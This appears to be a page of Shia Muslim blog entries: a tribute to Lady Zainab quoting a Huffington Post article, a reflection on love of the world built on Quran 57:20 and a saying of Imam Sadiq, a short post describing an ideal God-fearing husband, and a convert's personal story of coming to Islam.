    (Ayatollah Sayed Ali Khamenei’s speech in a meeting with mobilization units from all over the country - 23/11/2016)


    http://sayyidali.com/viewpoints/with-divine-assistance-you-can-confront-a-pharoah-even-empty-handed.html

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    Recent Entries

    Sumayyeh
    Latest Entry

    :salam:

    :bismillah:

     

    Without a doubt, Lady Zainab (s) plays such a pivotal role in so many ways. According to a famous line of poetry in Farsi,

    "Karbala would have stayed in Karbala,

                              had it not been for Zainab (s)

    The carrier of Imam Hussain's message and reality of what had happened on Ashura is accredited to her.

    Her strength, courage, and confidence--perhaps shown at its peak on the day of Ashura, and in Yazid's court have always been so powerful. In the wake of the greatest of tragedies, Lady Zainab displays such enormous strength, and it speaks volumes as to the role and importance of Women in our history. She came from such a place of strength that when Yazid asked her what she thought of karbala in his palace (as means of taunting), she said "I saw nothing but beauty."

    That's Lady Zainab (s).

    The following passages are from an article from today's Huffington Post:

    Quote

    If ever you truly wish to see the true face of a woman of Islam look no further than Lady Zaynab bint Ali; her grace remains unparalleled.

    ...

    I would argue that her courage has yet to be matched, her strength met, and her grace replicated. And yes, I am most definitely bias … how can I not when she taught women how to be in the face of adversity? How can I not be in awe of such a personality when before the most abject of persecution she projected such absolute determination?

    It is in chains that Zaynab bint Ali entered the Court of Yazid – unveiled, mocked by the crowd of courtiers, she was made to watch as the new Caliph delighted himself in seeing the progeny of the prophet in humiliation before his might.

    Where most would have receded in fear, Zaynab did not; she could not. With all her might she told her persecutor: “…Although calamities have forced me to speak to you, Indeed, your reach is trivial in my eyes and I find your talk big and I regard your berating excessive, and the eyes are tearful, and the chests are on fire. The surprise of all surprises is that those who are “Party to Shaitan [the Devil]” have murdered those who are the ‘Ones near to Allah’. Such hands are dripping with our blood; such mouths are feeding on our flesh, while those who are pure and sacred - their corpses have been offered as food to the wild beasts of the desert and have been desecrated by the brutes. If you regard us as your booty, you shall soon deem us as your opponents—that will be when you find nothing but what your hands had committed.”

    And:

    “… Scheme whatever you wish to scheme, and carry out your plots, and intensify your efforts, for by Allah, you shall never be able to obliterate our mention, nor will you ever be able to kill the revelation (that was revealed to us), nor will you ever exalt to attain our position, nor will your shame ever be washed away. Your vision shall prove futile, your days are limited in number, and your wealth will be wasted on the Day when the caller calls out.”

    "Women of Islam: how the stand of Lady Zaynab defined Islamic History"

     11/27/2016 12:44 pm ET

    By: Catherine Shakdam

    Link to Article: http://www.huffingtonpost.com/entry/583b18e3e4b0c2ab94436aa4

    :ws:

     

  17.     Image result for bismillah

    اعْلَمُوا أَنَّمَا الْحَيَاةُ الدُّنْيَا لَعِبٌ وَلَهْوٌ وَزِينَةٌ وَتَفَاخُرٌ بَيْنَكُمْ وَتَكَاثُرٌ فِي الْأَمْوَالِ وَالْأَوْلَادِ كَمَثَلِ غَيْثٍ أَعْجَبَ الْكُفَّارَ نَبَاتُهُ ثُمَّ يَهِيجُ فَتَرَاهُ مُصْفَرًّا ثُمَّ يَكُونُ حُطَامًا وَفِي الْآخِرَةِ عَذَابٌ شَدِيدٌ وَمَغْفِرَةٌ مِّنَ اللَّهِ وَرِضْوَانٌ وَمَا الْحَيَاةُ الدُّنْيَا إِلَّا مَتَاعُ الْغُرُورِ

    KNOW [O men] that the life of this world is but a play and a passing delight, and an ephemeral amusement, and [the cause of] your boastful vying with one another, and [of your] greed for more and more riches and children. Its parable is that of [life-giving] rain: the herbage which it causes to grow delights the tillers of the soil; but then it withers, and you see it turn yellow; and in the end it crumbles into dust. But [the abiding truth of man’s condition will become fully apparent] in the life to come: [either] suffering severe,or God’s forgiveness and His goodly acceptance: for the life of this world is nothing but a passing self-delusion. -

    Holy Quran 57:20 

    Going Astray Part 3 - The Trap

    In the Holy Quran, as well as hadith from our Imams(a.s), we are taught that this world is nothing but a passing fancy, a very short term thing that we should not give too much importance to. And yet, we are placed in this world, and have to survive. Some of us are faced with great difficulties just to have a roof over our head and food on the table. We live in a world that is mostly chaotic, inconsistent, full of conflicts and tribulation. Enemies trying to destroy us, and so called 'friends' that are insincere and disloyal. Mixed in with this are beautiful passages of poetry, glittering objects that catch our eye, desires that we have that almost rip our hearts from our chest, profound words of wisdom that we hear or read, and a few individuals that we meet or know that seem to rise above all the noise and clamour, staying steady and consistent with decency, morality, and their own internal values. 

    We walk thru forests, look up at the tall trees, we trudge thru swaps, wade thru rivers, sink into desert sands, and we stammer, stare, sit and wait, cough and stammer, trip and fall, and roll down hills and into valleys, and then find ourselves stuck, our foot unable to move, wincing in pain. We look down and see blood gushing from above the ankle. We can feel the cold steel. Rush of heat up our spine. We look down and see the teeth of the trap digging into our flesh. Immobilized. We look up and down, right and left, back and forth. Twisting, writhing. Waiting for relief from the trap. 

    Imam Sadiq(a.s) says. 

    عن ابي عبدالله عليه السلام قال: راس كل خطيئة حب الدنيا

    “Attachment to World is the basis of all sins and transgressions.” Imam Sadiq(a.s)

    Bihar al-Anwar, vol. 3, p-7.

    Some people misunderstand this and related hadiths. He is not saying 'the dunya', this world, or anything in the world is the root of all evil and sins. You cannot point to an object like money, t.v., the Internet, or another human being like a leader, king, or tyrant, or even an activity like sex, or a desire like lust, or a profession, or anything else and say this is the root of all evil. Imam Sadiq(a.s) says 'Hub' or love of this is the root, not the thing itself. 

    We should examine the meaning of 'hub' or love in this context and also in the context of the verses of the Holy Quran regarding this world. 

    'Hub' in this context has to do with 

    1) The value and importance we assign to something

    2) What we are willing to do(or not do) in order to get or achieve it. 

    Let me give an example. 

    Two friends make a deal in their early teens that they are both going to become doctors. They are going to get good grades, then apply to college, do good in college, and hopefully apply to Medical School and graduate. They both do good in School, college, then apply to Med School and are both accepted. One of the friends comes from a wealthy family and the other comes from a poor family. The wealthy friend shows up for Medical School on the first day, after his parents paid a huge tuition bill, and wonders where his poor friend is. The poor friend, having no money to pay the huge tuition bill, starts thinking about what he is going to do. He knows that he is not going to fulfill his dream unless he gets some money. He decides he is going to rob a bank (cause that's where the money is..). He gets a gun, mask, all the robber stuff, makes a plan, and because he is smart the plan works perfectly, gets the money, pays his tuition, and shows up on the second day. 

    His rich friends asks, 'Where were you buddy..'. He answers, 'I had some things to take care of..'. 

    So there is no love of the dunya going on here, up until the point where the poor friend robs the bank (we are assuming he is muslim, and knows it is haram to steal and rob). Going to school, getting good grades, trying hard, becoming a doctor and making a good salary, there is nothing wrong with that as long as you can do all that and not violate the clear laws and ordinances that Allah(s.w.a) has revealed to you. Because when you start to 'love' your goals, plans, and ideas so much that you are willing to violate and do violate the clear rules and guidelines then that is the point where you 'love the dunya', and not before that. 

    Now some people will look at the poor friend and say, 'Well he is poor, so he had to do what he had to do..'. He had to 'take care of business'. From an Islamic perspective, this is wrong thinking. Being poor is not haram or a crime(although it is treated as such by modern society), it is a circumstance, and most of the time a temporary one. The fact of being poor says nothing, either positive or negative about someones character or religion. 

    It is the wrong thinking associated with poverty (that things are hopeless and the only way out is getting wealth by any means) and wrong thinking associated with wealth (because I am wealthy, therefore I am better than other people and have more rightst than they do) that is the trap, not the poverty or wealth itself. The trap is the wrong thinking, whether you are rich or poor, that there is something in this world that is worth risking disobeying Allah(s.w.a) in order to get it. If you know Allah(s.w.a), even on a very superficial level, and you know yourself, even on a superficial level, you will know that there is nothing in this world that is worth disobeying Allah(s.w.a) in order to get it, even if it is the world in it's entirety. Now you see the trap. Be careful not to step into it. 

     

  18. The most satisfying spouse  is the God Fearing Man. He is the one you should look for and he most likely wont be online-he's too busy making a difference in the world.

    You will never be bored with him. The way he is devoted to Allah SWT will fill you up with admiration and respect. His humor will be wholesome and sweet. His shyness and the way he lowers his gaze will make you fall madly in love with him. He will be  truthful. He will be pleased to meet your mother and greet her in the most polite manner as if he were her own son. He might not be a 10, but how he takes care of his body, and the Noor given to him from Allah SWT will be enough to attract you for a life time making him an 11 in your book. 

    He will never put you down. His language will be pure and sweet. You will feel safe and beautiful with him, and he will inspire you to fulfill your Islamic duties as a wife to the best of your abilities

  19. :salam:

    After having many people telling me I should write my story and that it will be beneficial for my shia brothers and sisters, that it would be inspirational for their religious path, I decided to write it.

    Humans from the very beginning of time fight for something to believe in, they struggle with reality as they try to make sense of their world. As I grew up I always felt there was an ultimate truth and knowledge hidden from us, I just didn’t know where and how to look or even What to look for. I used to lead a very very reckless sinful lifestyle, since I was trying to find my place in this world in my own ways so I decided to try everything and live with no boundaries. I always felt this deep Emptiness that was never filled, so I did what I had to do in order to discover what might fill this empty hole. I even experienced the power of love but it was all just temporary, everything in this world is temporary. I loved to try everything, I had neither moral standards nor basics to follow, I used to love life and was living it to its fullest. I felt independent like nothing and no one can stop me because I was free to do whatever I want but in reality I had all these invisible chains around me pulling me back deceiving me to think that I was liberated (that’s one of the tricks of the devil he makes you think you’re free but you’re his prisoner).

    I felt the happiness instantly with the moment and later when I’d go home I would feel depressed and sad like I was missing something, I couldn’t sit alone I couldn’t stand home, my soul was always agitated and unsettled.

    I studied Christianity before but it was all science fiction. Studying Christianity made me even more lost and drove me to doubt the existence of God, which was worse; I would die just to know what can fill this empty space I always had. I asked myself is that it? We came here to eat sleep party have fun work make a family and die...

    One night when I hit rock bottom after I finished this self-discovery journey and I arrived nowhere, I started calling upon God (without even being sure that He existed and listening), I told him God if you were there if you existed please help me find my way, suddenly and out of nowhere there was a man whom I’ve met 4 years ago, he started coming up to my mind which was so weird because I had no interest what so ever to talk to him and see him(because he was a muslim and I didn’t like Islam just like any other brainwashed Christian middle eastern person) so I contacted him, turns out he was a committed Shia who triggered my path into Islam, and in the same time I met a Christian man who was living in France and he converted the same month as I did, this was God telling me that I’m not alone, this was God giving me a kind of motif, I mean what are the odds?

    Whoever wants God, God will answer him, He will not leave him alone, but only few people really want God all they want is this world, they are blinded by it.

    When I found Islam, my ultimate destiny, and when I found God it felt so ecstatic and intense, I felt this deep power and enlightenment, It was entirely uplifting, deeply emotional and pleasurable, I felt a deep joy that finally my existence made sense, that God gave me a purpose to live for to strive for and to fight for, to reach the highest level of existence. He chose me out of all these people who are lost, I had met more than 2,000 people and he just gave me this special gift, showed me the door to his secrets, Our(shias) status To God is special, this is why we should fight this world and fight ourselves and desires and never give up, to be worthy of this privilege that God gave us. When I personally realized this it was time for the hard work. When we understand the power laying behind us we would never have to fear anything ever again in our entire life. 

    I was so afraid to jump into this transition, my faith was weak and I had doubts at some moments. I had to give up my friends, my activities, habits, shut off my desires, change my morals, my rules, my lifestyle, my priorities, my social life, my behavior… I was shifting my core belief which is something very hard for a human to change. I was trapped and afraid at some point; I didn’t know how to do it. I was never home, I was never alone, I was lazy, I never respected my parents, I didn’t prioritize anything except my plans, I’d quite jobs because my work schedule didn’t match my entertaining plans...This is how much I was messed up and attached to the world.

    I seeked happiness and the more you feel happiness the more you want it, it’s like a drug, so you indulge more in dunya activities until you are completely lost.  Happiness wasn’t created to feel here, happiness is for the next world, we should never waste time here getting attached to this world because we will do eventually whatever we want in the afterlife. We are born to pass this test and to return to our original home where Prophet Adam was created. It took me time to realize this.

    My friends were atheists, mushrikin, infidels, and almost all my activities were sinning, I quite them all and now I don’t befriend no one but the lovers of Ahlulbayt. It was very hard and I suffered deeply at some point, washing away your sins purifying yourself from them is EXTREMELY hard, it’s like you’re pulling forward and the devil is pulling you back all the time. But God didn’t let me feel I’m alone, he rewarded me, gave me a steady job where I can be fully committed in, gave me this feeling of security and self-satisfaction, gave me Many privileges that I didn’t possess before. This entire process made me someone else; I became very mentally strong and different. Islam isn’t for sissies; Islam needs strengths, stability, mental toughness, brave hearted individuals who take sacrifices for God, who are ready to face the evil and the challenges of this world.

    The equation is simple, as much as you give God as much as He gives you in return. After I was guided I tested myself, tried doing some things that I did in the past to see if this was a phase in my life, but I felt disgusted ashamed weak and I became afraid of death. Now if I touch a man by mistake or if I eat something from a table that has alcohol on it without paying attention I would think about it for 3 days feeling guilty because I disappointed God. I do not fear punishment as much I fear to fail God, because I love Him, that is the true worshiping. Each time I do something to get closer to God I feel my soul elevating I feel that I’m gaining spiritual power and my perspective towards the world changes… Everyone told me it's just a phase but as each day is passing I'm falling more in love with this religion and with Ahlulbayt. I still have hard time committing to my religion as my parents don't know(or kinda in denial), so i practice everything in secrecy.

    To conclude I want to tell you, brothers and sisters something, this world is evil, you shouldn’t love it nor seek to have fun in it, you should hate it and never ever be dependent on something related to it, even though I know the truth behind my past life how it’s all evil empty and worthless, it still tempts me sometimes till this very day, the love of this world isn’t easy so don’t get yourself trapped because once you’re in it’s so difficult to get out. Don’t go to hell to enjoy life here; don’t sell your soul to the devil.

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